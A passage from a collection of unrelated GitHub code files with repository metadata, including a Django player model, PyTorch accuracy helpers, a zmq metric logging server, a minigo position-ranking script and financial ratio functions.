Back\"),\n (\"Full Back\", \"Full Back\"),\n (\"Central Defender\", \"Central Defender\"),\n (\"Defensive Midfielder\",\"Defensive Midfielder\"),\n (\"Attacking Midfielder\",\"Attacking Midfielder\"),\n (\"Central Midfielder\",\"Central Midfielder\"),\n (\"Winger\",\"Winger\"),\n (\"Striker\",\"Striker\"),\n (\"Second Striker\",\"Second Striker\"),\n )\n\n POSITION_SIDES = (\n (\"Left\",\"Left\"),\n (\"Right\",\"Right\"),\n (\"Centre\",\"Centre\"),\n (\"Left/Centre\",\"Left/Centre\"),\n (\"Centre/Right\",\"Centre/Right\"),\n (\"Left/Centre/Right\",\"Left/Centre/Right\"),\n (\"Left/Right\",\"Left/Right\"),\n )\n # Opta UUID (NB: Different than Django-generated pk/id) \n uuid = models.CharField(\"Opta uID\", max_length=255, unique=True)\n\n first_name = models.CharField(\"First Name\", max_length=255)\n last_name = models.CharField(\"Last Name\", max_length=255)\n\n known_name = models.CharField(\"Known Name\", max_length=255, null=True)\n\n birth_date = models.DateField(\"Birth Date\", null=True)\n birth_place = models.CharField(\"Birth Place\", max_length=255, null=True)\n nationality = models.CharField(\"Nationality\", max_length=255, null=True)\n country = models.CharField(\"Country\", max_length=255, null=True)\n\n weight = models.FloatField(\"Weight (kg)\", default=0.0, null=True)\n height = models.FloatField(\"Height (cm)\", default=0.0, null=True)\n\n position = models.CharField(\"Real Position\", choices=POSITIONS, max_length=255, null=True)\n position_side = models.CharField(\"Position Side of Choice\", choices=POSITION_SIDES, max_length=255, null=True)\n\n def __str__(self):\n if self.known_name:\n return \"%s (%s)\" % (self.known_name, self.uuid)\n else:\n return \"%s %s (%s)\" % (self.first_name, \n self.last_name, \n self.uuid)\n","repo_name":"awyrough/xsoccer","sub_path":"xsoccer/players/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":2212,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"11930135830","text":"# -*- encoding: utf-8 -*-\r\n\"\"\"\r\n@File : evalutator.py\r\n@Time : 2020/4/15 20:26\r\n@Author : Alessia K\r\n@Email : ------\r\n@Reference: https://github.com/facebookresearch/pycls/blob/master/pycls/\r\n\"\"\"\r\nimport torch\r\nimport numpy as np\r\n\r\ndef topk_correct(pred, target, topk):\r\n \"\"\"Computes the accuracy of the correct top-k predictions for the specified values of k\"\"\"\r\n\r\n assert pred.size(0) == target.size(0), \"Batch dim of predictions and targets must match\"\r\n with torch.no_grad():\r\n max_k = max(topk)\r\n\r\n top_max_k_vals, top_max_k_inds = torch.topk(pred, max_k, dim=1, largest=True, sorted=True)\r\n\r\n # (batch_size, max_k) -> (max_k, batch_size)\r\n top_max_k_inds = top_max_k_inds.t()\r\n # (batch_size, ) -> (max_k, batch_size)\r\n rep_max_k_lbls = target.view(1, -1).expand_as(top_max_k_inds)\r\n\r\n top_max_k_correct = top_max_k_inds.eq(rep_max_k_lbls)\r\n\r\n # compute the number of top-k correct predictions\r\n topk_correct_list = []\r\n for k in topk:\r\n correct_k = top_max_k_correct[:k, :].view(-1).float().sum()\r\n topk_correct_list.append(correct_k)\r\n\r\n return topk_correct_list\r\n\r\ndef topk_error(pred, target, topk):\r\n \"\"\"top-k error\"\"\"\r\n correct_k = topk_correct(pred, target, topk)\r\n batchsize = pred.size(0)\r\n topk_error_list = [(1.0 - x / batchsize) * 100 for x in correct_k]\r\n\r\n return topk_error_list\r\n\r\ndef accuracy(pred, target, topk):\r\n \"\"\"accuracy = top-k correct\"\"\"\r\n correct_k = topk_correct(pred, target, topk)\r\n accuracy_list = [(x / pred.size(0)) * 100.0 for x in correct_k]\r\n\r\n return accuracy_list\r\n\r\ndef accuracy_perclass(pred, target, num_class):\r\n pred_top1 = torch.argmax(pred, 1)\r\n res = (pred_top1 == target).squeeze()\r\n\r\n correct = np.zeros((num_class))\r\n total = np.zeros((num_class))\r\n\r\n for i in range(target.size(0)):\r\n cls = target[i]\r\n correct[cls] += res[i].item()\r\n total[cls] += 1\r\n\r\n return correct, total\r\n\r\n# def accuracy_basic(pred, target):\r\n# predict = torch.argmax(pred, 1)\r\n# correct = (predict == target).sum().item()\r\n# total = target.size(0)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n","repo_name":"Alessiacosmos/RegNet-pytorch","sub_path":"utils/evalutator.py","file_name":"evalutator.py","file_ext":"py","file_size_in_byte":2198,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"77"} +{"seq_id":"48338080713","text":"from typing import Dict, Optional\nimport logging\nimport os\nimport pathlib\nimport time\n\nimport zmq\n\nfrom conf import conf_cfgs\nfrom fairdiplomacy.selfplay.metrics import recursive_tensor_item, Logger\nfrom fairdiplomacy.selfplay.wandb import initialize_wandb_if_enabled\nfrom fairdiplomacy.selfplay.paths import get_remote_logger_port_file\nfrom fairdiplomacy.utils.exception_handling_process import ExceptionHandlingProcess\nimport heyhi\n\n\ndef get_remote_logger(*, is_dummy: bool = False, tag=None) -> \"RemoteLogger\":\n return RemoteLogger(tag, is_dummy=is_dummy)\n\n\nclass RemoteLogger:\n \"\"\"A class that shares interface with Logger, but actually sends data to remote.\"\"\"\n\n def __init__(self, tag: Optional[str], is_dummy: bool = False):\n self._tag = tag\n self._dummy = is_dummy\n # Socket will be initialized lazily to guarantee the server has time to start.\n self._socket = None\n self._context = None\n\n def _maybe_connect(self):\n port_file = get_remote_logger_port_file()\n if not self._dummy and self._socket is None:\n for i in range(5):\n if port_file.exists():\n break\n logging.warning(\"Cannot find %s. Sleeping for %s seconds\", port_file, 2 ** i)\n time.sleep(2 ** i)\n with port_file.open() as stream:\n logger_address = stream.read().strip()\n\n self._context = zmq.Context()\n self._socket = self._context.socket(zmq.PUSH)\n self._socket.connect(logger_address)\n\n def log_config(self, cfg):\n if not self._dummy:\n self._maybe_connect()\n self._socket.send_json(dict(type=\"config\", cfg=str(cfg), tag=self._tag))\n\n def log_metrics(self, metrics, step, sanitize=False):\n del sanitize # Ignored. Always sanitize.\n if not self._dummy:\n metrics = recursive_tensor_item(metrics)\n self._maybe_connect()\n self._socket.send_json(dict(type=\"metrics\", metrics=metrics, step=step, tag=self._tag))\n\n def stop_remote(self):\n # Not a logging command. Used to ask server to stop.\n self._maybe_connect()\n self._socket.send_json(dict(type=\"stop\", tag=self._tag))\n\n def close(self):\n if self._socket is not None:\n self._socket.close()\n self._socket = None\n if self._context is not None:\n self._context.destroy()\n self._context = None\n\n def __del__(self):\n self.close()\n\n\nclass MetricLoggingServer:\n \"\"\"A class that accepts metrics dicts as zmq and writes them to json/tb/wandb.\n\n Note, if wandb is used, it's up the caller to initilize WANDB_RUN_GROUP\n prior to launching the server.\n \"\"\"\n\n LAUNCHED = False\n\n def __init__(self, cfg: conf_cfgs.ExploitTask, default_project_name: str):\n assert heyhi.is_master(), \"Only the master should start the server\"\n assert not MetricLoggingServer.LAUNCHED\n MetricLoggingServer.LAUNCHED = True\n self.p = ExceptionHandlingProcess(\n target=self.run_metric_zmq_server,\n kwargs=dict(cfg=cfg, default_project_name=default_project_name),\n )\n self.p.start()\n\n def terminate(self) -> None:\n if self.p is not None:\n get_remote_logger().stop_remote()\n time.sleep(0.1)\n self.p.kill()\n self.p = None\n\n @staticmethod\n def run_metric_zmq_server(cfg: conf_cfgs.ExploitTask, default_project_name: str) -> None:\n context = zmq.Context()\n socket = context.socket(zmq.PULL)\n port = socket.bind_to_random_port(\"tcp://*\")\n port_file = get_remote_logger_port_file()\n tmp_port_file = pathlib.Path(str(port_file) + \".tmp\")\n with tmp_port_file.open(\"w\") as stream:\n print(\"tcp://%s:%s\" % (heyhi.get_slurm_master(), port), file=stream)\n os.rename(tmp_port_file, port_file)\n\n log_wandb = initialize_wandb_if_enabled(cfg, default_project_name)\n\n loggers_per_tag: Dict[Optional[str], Logger] = {}\n logging.info(\"Starting run_metric_zmq_server loop (port=%s)\", port)\n try:\n while True:\n message = socket.recv_json()\n message_type = message.pop(\"type\")\n tag = message.pop(\"tag\")\n if tag not in loggers_per_tag:\n loggers_per_tag[tag] = Logger(\n tag=tag or None, is_master=True, log_wandb=log_wandb\n )\n if message_type == \"metrics\":\n loggers_per_tag[tag].log_metrics(**message)\n elif message_type == \"config\":\n loggers_per_tag[tag].log_config(**message)\n elif message_type == \"stop\":\n logging.warning(\"Got a stop message\")\n break\n else:\n raise RuntimeError(f\"Bad message_type: {message_type}\")\n except Exception:\n logging.exception(\"Got an exception in MetricLoggingServer\")\n finally:\n logging.info(\"Cleaning up\")\n socket.close()\n context.destroy()\n for logger in loggers_per_tag.values():\n logger.close()\n logging.info(\"Stopping run_metric_zmq_server loop\")\n","repo_name":"facebookresearch/diplomacy_cicero","sub_path":"fairdiplomacy/selfplay/remote_metric_logger.py","file_name":"remote_metric_logger.py","file_ext":"py","file_size_in_byte":5307,"program_lang":"python","lang":"en","doc_type":"code","stars":1121,"dataset":"github-code","pt":"77"} +{"seq_id":"3971044597","text":"#import imghdr\n# import imghdr\nimport io\nimport os\n\nfrom PIL import Image\n\nfrom encoder.utils import get_imlist\n\n\n# def is_valid_img(img_path):\n# try:\n# img_type = imghdr.what(img_path)\n# except:\n# return 0\n# if img_type == 'jpeg' or img_type == 'png':\n# return 1\n# return 0\n\n\ndef IsValidImage(pathfile):\n '''\n # 判断文件是否为有效(完整)的图片\n # 输入参数为文件路径\n '''\n bValid = True\n try:\n Image.open(pathfile).verify()\n except:\n bValid = False\n return bValid\n\ndef IsValidImage4Bytes(buf):\n '''\n # 判断文件是否为有效(完整)的图片\n # 输入参数为bytes,如网络请求返回的二进制数据\n '''\n bValid = True\n try:\n Image.open(io.BytesIO(buf)).verify()\n except:\n bValid = False\n return bValid\n\ndef feature_extract(database_path, model):\n# cache = Cache(default_cache_dir)\n feats = []\n names = []\n img_list = get_imlist(database_path)\n model = model\n for i, img_path in enumerate(img_list):\n # if i % 5000 == 0:\n # now = time.strftime(\"%Y-%m-%d %H:%M:%S\", time.localtime())\n # print(f'{database_path} cnt: {i} and now:{now}', flush=True)\n # is_valid_img_tag = IsValidImage(img_path)\n # if not is_valid_img_tag:\n # print(f\"invalid img file:{img_path}\")\n # continue\n try:\n norm_feat = model.vgg_extract_feat(img_path)\n except:\n print(f\"invalid img file:{img_path}\")\n continue\n img_name = os.path.split(img_path)[1]\n feats.append(norm_feat)\n names.append(img_name)\n current = i+1\n total = len(img_list)\n # cache['current'] = current\n # cache['total'] = total\n #print (\"extracting feature from image No. %d , %d images in total\" %(current, total))\n# feats = np.array(feats)\n return feats, names\n","repo_name":"GUSHUMING/Img_search","sub_path":"src/encoder/encode.py","file_name":"encode.py","file_ext":"py","file_size_in_byte":1952,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"77"} +{"seq_id":"15907238962","text":"from tkinter import *\r\nfrom PIL import ImageTk,Image\r\n\r\nroot = Tk()\r\nroot.title('Learn To Code at Codemy.com')\r\nroot.iconbitmap('codemy.ico')\r\n\r\ndef open():\r\n\tglobal my_image\r\n\ttop = Toplevel()\r\n\ttop.title('Another Window')\r\n\ttop.iconbitmap('codemy.ico')\r\n\tlbl = Label(top,text=\"Hello\").pack()\r\n\tmy_image = ImageTk.PhotoImage(Image.open('images/aspen.png'))\r\n\tmy_label = Label(top,image=my_image).pack()\r\n\tbtn2 = Button(top,text=\"close window\",command=top.destroy).pack()\r\n\r\nbtn = Button(root,text=\"show 2nd window\",command=open).pack()\r\nbtn3 = Button(root,text=\"close main window\",command=root.destroy).pack()\r\n\r\nroot.mainloop()","repo_name":"amirsaeedm/Python_Projects","sub_path":"Tkinter/create_new_windows.py","file_name":"create_new_windows.py","file_ext":"py","file_size_in_byte":629,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"22787696866","text":"##TMCFM编译器\n##将类似python的语言转化为Minecraft数据包\n# -*- encoding: utf-8 -*-\n'''\n@File : main.py\n@Time : 2023/5/17\n@Author : tianqiyuan520\n'''\n\nimport ast\nfrom TMCFM import TMCFM\nfrom read_config import read_json\n\nif __name__ == \"__main__\":\n\n try:\n ## play music\n # from pydub import AudioSegment\n # from pydub.playback import play\n # import random\n # rand = random.choice([1,2])\n # song = AudioSegment.from_file(f\"sounds//smithing_table{rand}.mp3\", format=\"mp3\")\n # play(song)\n ...\n except:\n # print(\"Missing playsound\\npip install pydub\\npip install simpleaudio\")\n ...\n\n #open file\n content = \"\"\n cfg = read_json.read('config.json')['config']\n with open(cfg[\"InputFile\"],'r',encoding='utf-8') as f:\n # content = f.read().split('\\n')\n content = f.read()\n # content = input('>>> ')\n\n #ast show\n code_ = ast.parse(content)\n print(ast.dump(code_))\n cfg = read_json.read('config.json')['config']\n for i in range(len(cfg[\"path\"])):\n comp = TMCFM(content,i)\n comp.main()\n \n print(\"success\")\n # input(\">>> \")\n","repo_name":"tianqiyuan520/TMinecraftFunctionMaker","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1179,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"77"} +{"seq_id":"35566280893","text":"import sys\nsys.path.insert(0, '.')\n\nimport itertools\nimport json\nimport multiprocessing\nimport os\nimport random\nfrom collections import defaultdict, Counter\n\nimport fire\nimport numpy as np\nimport tensorflow as tf\nfrom absl import flags\nfrom sklearn import svm\nfrom tqdm import tqdm\n\nimport oneoff_utils\n\n# Filter tensorflow info\nos.environ['TF_CPP_MIN_LOG_LEVEL'] = '1'\n\nflags.DEFINE_integer(\"num_positions\", 1, \"How many positions from each game.\")\nflags.DEFINE_integer(\"top_n\", 3, \"Policy moves to record per position.\")\nflags.DEFINE_integer(\"min_idx\", 100, \"Min model number to include.\")\nflags.DEFINE_integer(\"batch_size\", 64, \"Eval batch size.\")\n\n# Inputs\nflags.DEFINE_string(\"sgf_dir\", \"data/s/\", \"input collection of SGFs\")\nflags.DEFINE_string(\"model_dir\", \"models/\", \"Folder of Minigo models\")\nflags.DEFINE_string(\"rating_json\", \"ratings.json\", \"Ratings of models\")\n\n# Outputs\nflags.DEFINE_string(\"collection\", \"collection.csv\", \"subsampled csv file\")\nflags.DEFINE_string(\"results\", \"results.csv\", \"Evaluate results file\")\nflags.DEFINE_string(\"SVM_json\", \"SVM_data.json\", \"SVM data about positions\")\n\nFLAGS = flags.FLAGS\n\n\ndef grouper(n, iterable):\n \"\"\"Itertools recipe\n >>> list(grouper(3, iter('ABCDEFG')))\n [['A', 'B', 'C'], ['D', 'E', 'F'], ['G']]\n \"\"\"\n return (iterable[i:i + n] for i in range(0, len(iterable), n))\n\n\ndef get_final_positions():\n sgf_files = sorted(oneoff_utils.find_and_filter_sgf_files(FLAGS.sgf_dir))\n\n with multiprocessing.Pool() as pool:\n pos = list(pool.map(oneoff_utils.final_position_sgf, tqdm(sgf_files)))\n\n assert len(pos) > 0, \"BOARD_SIZE != 19?\"\n return sgf_files, pos\n\n\ndef get_model_idx(model_name):\n number = os.path.basename(model_name).split('-')[0]\n assert len(number) == 6 and 0 <= int(number) <= 1000, model_name\n return int(number)\n\n\ndef subsample():\n \"\"\"Sample num_positions postions from each game in sgf_dir\n\n Usage:\n python3 sharp_positions.py subsample --num_positions 10 --sgf_dir data/s\n\n NOTE(sethtroisi): see link for a script to truncate SGFs at move number\n https://github.com/sethtroisi/go-scripts\n \"\"\"\n\n sgf_files = oneoff_utils.find_and_filter_sgf_files(\n FLAGS.sgf_dir, None, None)\n\n with open(FLAG.collection, 'w') as collection:\n fails = 0\n for path in tqdm(sorted(sgf_files)):\n try:\n positions, moves, results = oneoff_utils.parse_sgf(path)\n except KeyboardInterrupt:\n raise\n except Exception as e:\n fails += 1\n print(\"Fail {}, while parsing {}: {}\".format(fails, path, e))\n continue\n\n moves = len(positions)\n indexes = random.sample(range(10, moves), FLAGS.num_positions)\n for index in sorted(indexes):\n collection.write('{}, {}\\n'.format(path, index))\n\n\ndef evaluate():\n \"\"\"Get Policy and Value for each network, for each position\n\n Usage:\n python3 sharp_positions.py evaluate --sgf_dir data/s --model_dir models/\n \"\"\"\n\n def short_str(v):\n if isinstance(v, float):\n return \"{.3f}\".format(v)\n return str(v)\n\n # Load positons\n sgf_names, all_positions = get_final_positions()\n\n # Run and save some data about each position\n # Save to csv because that's easy\n model_paths = oneoff_utils.get_model_paths(FLAGS.model_dir)\n num_models = len(model_paths)\n print(\"Evaluating {} models: {} to {}\".format(\n num_models, model_paths[0], model_paths[-1]))\n print()\n\n with open(FLAGS.results, \"w\") as results:\n results.write(\",\".join(sgf_names) + \"\\n\")\n\n player = None\n for idx in tqdm(range(FLAGS.min_idx, num_models, 1), desc=\"model\"):\n model = model_paths[idx]\n\n if player and idx % 50 == 0:\n player.network.sess.close()\n tf.reset_default_graph()\n player = None\n\n if player:\n oneoff_utils.restore_params(model, player)\n else:\n player = oneoff_utils.load_player(model)\n\n row = [model]\n for positions in grouper(FLAGS.batch_size, all_positions):\n probs, values = player.network.run_many(positions)\n # NOTE(sethtroisi): For now we store the top n moves to shrink\n # the size of the recorded data.\n\n top_n = FLAGS.top_n\n top_policy_move = np.fliplr(np.argsort(probs))[:,:top_n]\n top_policy_value = np.fliplr(np.sort(probs))[:,:top_n]\n\n # One position at a time\n for v, m, p in zip(values, top_policy_move, top_policy_value):\n row.append(v)\n row.extend(itertools.chain.from_iterable(zip(m, p)))\n\n if len(positions) > 10:\n average_seen = top_policy_value.sum() / len(positions)\n if average_seen < 0.3:\n print(\"\\t\", average_seen, top_policy_value.sum(axis=-1))\n\n results.write(\",\".join(map(short_str, row)) + \"\\n\")\n\n\ndef minimize():\n \"\"\"Find a subset of problems that maximal explains rating.\n\n Usage:\n python3 sharp_positions.py minimize \\\n --model_dir models --sgf_dir data/s\n --rating_json ratings.json --results results.csv\n \"\"\"\n ########################### HYPER PARAMETERS ###############################\n\n # Stop when r2 is this much worse than full set of positions\n r2_stopping_percent = 0.96\n # for this many iterations\n stopping_iterations = 5\n\n # Limit SVM to a smaller number of positions to speed up code.\n max_positions_fit = 300\n # Filter any position that \"contributes\" less than this percent of max.\n filter_contribution_percent = 0.3\n # Never filter more than this many positions in one iterations\n filter_limit = 25\n\n ########################### HYPER PARAMETERS ###############################\n\n # Load positons\n model_paths = oneoff_utils.get_model_paths(FLAGS.model_dir)\n num_models = len(model_paths)\n assert num_models > 0, FLAGS.model_dir\n\n # Load model ratings\n # wget https://cloudygo.com/v12-19x19/json/ratings.json\n ratings = json.load(open(FLAGS.rating_json))\n raw_ratings = {int(r[0]): float(r[1]) for r in ratings}\n\n model_ratings = []\n for model in model_paths:\n model_idx = get_model_idx(model)\n if model_idx < FLAGS.min_idx:\n continue\n\n model_ratings.append(raw_ratings[model_idx])\n model_ratings = np.array(model_ratings)\n\n assert 0 < len(model_ratings) <= num_models, len(model_ratings)\n num_models = len(model_ratings)\n\n sgf_names, all_positions = get_final_positions()\n # Trim off common path prefix.\n common_path = os.path.commonpath(sgf_names)\n sgf_names = [name[len(common_path) + 1:] for name in sgf_names]\n\n print(\"Considering {} positions, {} models\".format(\n len(all_positions), num_models))\n print()\n\n # Load model data\n top_n = FLAGS.top_n\n positions = defaultdict(list)\n with open(FLAGS.results) as results:\n headers = results.readline().strip()\n assert headers.count(\",\") + 1 == len(sgf_names)\n\n # Row is + positions x [value, top_n x [move, move_policy]]\n for row in tqdm(results.readlines(), desc=\"result line\"):\n data = row.split(\",\")\n model_idx = get_model_idx(data.pop(0))\n if model_idx < FLAGS.min_idx:\n continue\n\n data_per = 1 + top_n * 2\n assert len(data) % data_per == 0, len(data)\n\n for position, position_data in enumerate(grouper(data_per, data)):\n value = float(position_data.pop(0))\n moves = list(map(int, position_data[0::2]))\n move_policy = list(map(float, position_data[1::2]))\n\n positions[position].append([value, moves, move_policy])\n\n def one_hot(n, i):\n one_hot = [0] * n\n if 0 <= i < n:\n one_hot[i] += 1\n return one_hot\n\n # NOTE: top_n isn't the same semantic value here and can be increased.\n one_hot_moves = top_n\n num_features = 1 + 5 + (one_hot_moves + 1)\n\n # Features by position\n features = []\n pos_top_moves = []\n for position, data in tqdm(positions.items(), desc=\"featurize\"):\n assert len(data) == num_models, len(data)\n\n top_moves = Counter([d[1][0] for d in data])\n top_n_moves = [m for m, c in top_moves.most_common(one_hot_moves)]\n if len(top_n_moves) < one_hot_moves:\n top_n_moves.extend([-1] * (one_hot_moves - len(top_n_moves)))\n assert len(top_n_moves) == one_hot_moves, \"pad with dummy moves\"\n pos_top_moves.append(top_n_moves)\n\n # Eventaully we want\n # [model 1 position 1 features, m1 p2 features, m1 p3 features, ... ]\n # [model 2 position 1 features, m2 p2 features, m2 p3 features, ... ]\n # [model 3 position 1 features, m3 p2 features, m3 p3 features, ... ]\n # ...\n # [model m position 1 features, mm p2 features, mm p3 features, ... ]\n\n # We'll do position selection by joining [model x position_feature]\n\n feature_columns = []\n for model, (v, m, mv) in enumerate(data):\n # Featurization (for each positions):\n # * Value (-1 to 1), Bucketed value\n # * Cluster all model by top_n moves (X,Y,Z or other)?\n # * value of that move for model\n # * policy value of top move\n model_features = []\n\n model_features.append(2 * v - 1)\n # NOTE(sethtroisi): Consider bucketize value by value percentiles.\n value_bucket = np.searchsorted((0.2, 0.4, 0.6, 0.8), v)\n model_features.extend(one_hot(5, value_bucket))\n\n # Policy weight for most common X moves (among all models).\n policy_weights = [0] * (one_hot_moves + 1)\n for move, policy_value in zip(m, mv):\n if move in top_n_moves:\n policy_weights[top_n_moves.index(move)] = policy_value\n else:\n policy_weights[-1] += policy_value\n model_features.extend(policy_weights)\n\n assert len(model_features) == num_features\n\n feature_columns.append(model_features)\n features.append(feature_columns)\n\n features = np.array(features)\n print(\"Feature shape\", features.shape)\n print()\n\n # Split the models to test / train\n train_size = int(num_models * 0.9)\n train_models = sorted(np.random.permutation(num_models)[:train_size])\n test_models = sorted(set(range(num_models)) - set(train_models))\n assert set(train_models + test_models) == set(range(num_models))\n features_train = features[:, train_models, :]\n features_test = features[:, test_models, :]\n\n labels_train = model_ratings[train_models]\n labels_test = model_ratings[test_models]\n\n # Choose some set of positions and see how well they explain ratings\n positions_to_use = set(positions.keys())\n linearSVM = svm.LinearSVR()\n best_test_r2 = 0\n below_threshold = 0\n\n for iteration in itertools.count(1):\n iter_positions = np.random.permutation(list(positions_to_use))\n iter_positions = sorted(iter_positions[:max_positions_fit])\n\n # Take this set of positions and build X\n X = np.concatenate(features_train[iter_positions], axis=1)\n Xtest = np.concatenate(features_test[iter_positions], axis=1)\n assert X.shape == (train_size, num_features * len(iter_positions))\n\n linearSVM.fit(X, labels_train)\n\n score_train = linearSVM.score(X, labels_train)\n score_test = linearSVM.score(Xtest, labels_test)\n print(\"iter {}, {}/{} included, R^2: {:.4f} train, {:.3f} test\".format(\n iteration, len(iter_positions), len(positions_to_use),\n score_train, score_test))\n\n # Determine the most and least useful position:\n # TODO(amj,brilee): Validate this math.\n assert len(linearSVM.coef_) == num_features * len(iter_positions)\n\n # The intercepts tell us how much this contributes to overall rating\n # but coef tell us how much different answers differentiate rating.\n coef_groups = list(grouper(num_features, linearSVM.coef_))\n position_coefs = [abs(sum(c)) for c in coef_groups]\n\n pos_value_idx = np.argsort(position_coefs)\n max_pos = pos_value_idx[-1]\n most_value = position_coefs[max_pos]\n\n print(\"\\tMost value {} => {:.1f} {}\".format(\n max_pos, most_value, sgf_names[iter_positions[max_pos]]))\n\n # Drop any positions that aren't very useful\n for dropped, pos_idx in enumerate(pos_value_idx[:filter_limit], 1):\n contribution = position_coefs[pos_idx]\n positions_to_use.remove(iter_positions[pos_idx])\n print(\"\\t\\tdropping({}): {:.1f} {}\".format(\n dropped, contribution, sgf_names[iter_positions[pos_idx]]))\n\n if contribution > filter_contribution_percent * most_value:\n break\n print()\n\n best_test_r2 = max(best_test_r2, score_test)\n if score_test > r2_stopping_percent * best_test_r2:\n below_threshold = 0\n else:\n below_threshold += 1\n if below_threshold == stopping_iterations:\n print(\"{}% decrease in R^2, stopping\".format(\n 100 - int(100 * r2_stopping_percent)))\n break\n\n # Write down the differentiating positions and their answers.\n svm_data = []\n for position_idx in list(reversed(pos_value_idx)):\n coefs = coef_groups[position_idx]\n\n # Global position index.\n position = iter_positions[position_idx]\n sgf_name = sgf_names[position]\n top_moves = pos_top_moves[position]\n\n svm_data.append([sgf_name, [top_moves, coefs.tolist()]])\n\n with open(FLAGS.SVM_json, \"w\") as svm_json:\n json.dump(svm_data, svm_json)\n print(\"Dumped data about {} positions to {}\".format(\n len(svm_data), FLAGS.SVM_json))\n\n\nif __name__ == \"__main__\":\n remaining_argv = flags.FLAGS(sys.argv, known_only=True)\n fire.Fire({\n 'subsample': subsample,\n 'evaluate': evaluate,\n 'minimize': minimize,\n }, remaining_argv[1:])\n","repo_name":"tensorflow/minigo","sub_path":"oneoffs/sharp_positions.py","file_name":"sharp_positions.py","file_ext":"py","file_size_in_byte":14373,"program_lang":"python","lang":"en","doc_type":"code","stars":3409,"dataset":"github-code","pt":"77"} +{"seq_id":"25672234832","text":"# arr = [3, 1, 5, 13, 18, 2, 4]\n# asc = arr\n# for i in range (len(asc)):\n# for j in range(i+1,len(asc)):\n# if asc[i]>asc[j]:\n# asc[i],asc[j] = asc[j], asc[i]\n# print(asc)\n\n# dec = arr\n# for i in range (len(dec)):\n# for j in range(i+1,len(dec)):\n# if dec[i]= 18:\n print(f'You are {age} years old and you are adult')\nelse:\n print(f'You are {age} years old and you are not adult')\n\nif year_of_birth % 4 == 0 and year_of_birth % 100 != 0 or year_of_birth % 400 == 0:\n print(f'The year in which you were born is leap year')\nelse:\n print(f'The year in which you were born is not a leap year')\n\n\n\n\n\n","repo_name":"madewoman1992/KURS_KACPRA","sub_path":"12_century_age_adult_leap_year.py","file_name":"12_century_age_adult_leap_year.py","file_ext":"py","file_size_in_byte":825,"program_lang":"python","lang":"pl","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"18529972799","text":"import pandas as pd\nimport numpy as np\nProfitibilityDataFrame = pd.DataFrame({'Year': ['2020', '2019', '2018', '2017', '2016', '2015']})\n\nclass Profitibility_Ratios():\n def gross_profit_margin(rev,revs,gp):\n i = 0\n grossMargin = np.array([0.0, 0.0, 0.0, 0.0, 0.0, 0.0])\n\n if(np.count_nonzero(rev) != 0):\n revenue = rev\n elif(np.count_nonzero(revs) != 0):\n revenue = revs\n else:\n revenue = [0, 0, 0, 0, 0, 0]\n\n while (i < len(revenue)):\n if (revenue[i] != 0 and gp[i] != 0):\n x = gp[i] / revenue[i]\n grossMargin[i] = round(x,3)\n i = i+1\n\n if (np.count_nonzero(grossMargin) != 0):\n ProfitibilityDataFrame['Gross Margin'] = grossMargin\n\n def net_margin(rev,revs,sales,ni):\n i = 0\n netMargin = np.array([0.0, 0.0, 0.0, 0.0, 0.0, 0.0])\n if (np.count_nonzero(rev) != 0):\n revenue = rev\n elif (np.count_nonzero(revs) != 0):\n revenue = revs\n elif (np.count_nonzero(revs) != 0):\n revenue = sales\n else:\n revenue = [0, 0, 0, 0, 0, 0]\n\n while (i < len(revenue)):\n if (revenue[i] != 0 and ni[i] != 0):\n x = ni[i] / revenue[i]\n netMargin[i] = round(x,3)\n i = i+1\n\n if (np.count_nonzero(netMargin) != 0):\n ProfitibilityDataFrame['Net Margin'] = netMargin\n\n\n\n def eps_regular(eps):\n if (np.count_nonzero(eps) != 0):\n ProfitibilityDataFrame['EPS'] = eps\n\n def eps_diluted(eps_dil):\n if (np.count_nonzero(eps_dil) != 0):\n ProfitibilityDataFrame['EPS Diluted'] = eps_dil\n\n def return_on_assets(ni,ta):\n i = 0\n roa = np.array([0.0, 0.0, 0.0, 0.0, 0.0, 0.0])\n while (i < len(ni)):\n if (ni[i] != 0 and ta[i] != 0):\n x = ni[i] / ta[i]\n roa[i] = round(x,3)\n i = i+1\n\n if (np.count_nonzero(roa) != 0):\n ProfitibilityDataFrame['Return On Assets'] = roa\n\n def return_on_equity(ni,se):\n i = 0\n roe = np.array([0.0, 0.0, 0.0, 0.0, 0.0, 0.0])\n while (i < len(se)-1):\n if(ni[i] != 0 and se[i] != 0 and se[i+1] != 0):\n x = ni[i] / ((se[i] + se[i+1]) / 2)\n roe[i] = round(x, 3)\n i = i + 1\n if (np.count_nonzero(roe) != 0):\n ProfitibilityDataFrame['Return On Equities'] = roe\n\n def free_cash_flow(cashOp,interest,capEx):\n i = 0\n fcf = np.array([0, 0, 0, 0, 0, 0])\n while (i < len(cashOp)):\n if (cashOp[i] != 0 and interest[i] != 0 and capEx[i] != 0):\n fcf[i] = cashOp[i] + interest[i] - capEx[i]\n i = i + 1\n if (np.count_nonzero(fcf) != 0):\n ProfitibilityDataFrame['Free Cash Flow'] = fcf\n\n def interest_coverage(inc,int1,int2):\n i = 0\n icr = np.array([0.0, 0.0, 0.0, 0.0, 0.0, 0.0])\n if (np.count_nonzero(int1) != 0):\n interest = int1\n elif (np.count_nonzero(int2) != 0):\n interest = int2\n else:\n interest = [0, 0, 0, 0, 0, 0]\n\n while (i < len(interest)):\n if (inc[i] != 0 and interest[i] != 0):\n x = inc[i] / interest[i]\n icr[i] = round(x,3)\n i = i+1\n if (np.count_nonzero(icr) != 0):\n ProfitibilityDataFrame['Interest Coverage Ratio'] = icr","repo_name":"mcalmette/SEC_Parser","sub_path":"profitibilityRatios.py","file_name":"profitibilityRatios.py","file_ext":"py","file_size_in_byte":3481,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"13937413804","text":"import pickle\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom mpl_toolkits.mplot3d import Axes3D\nfrom py3dmath.py3dmath import 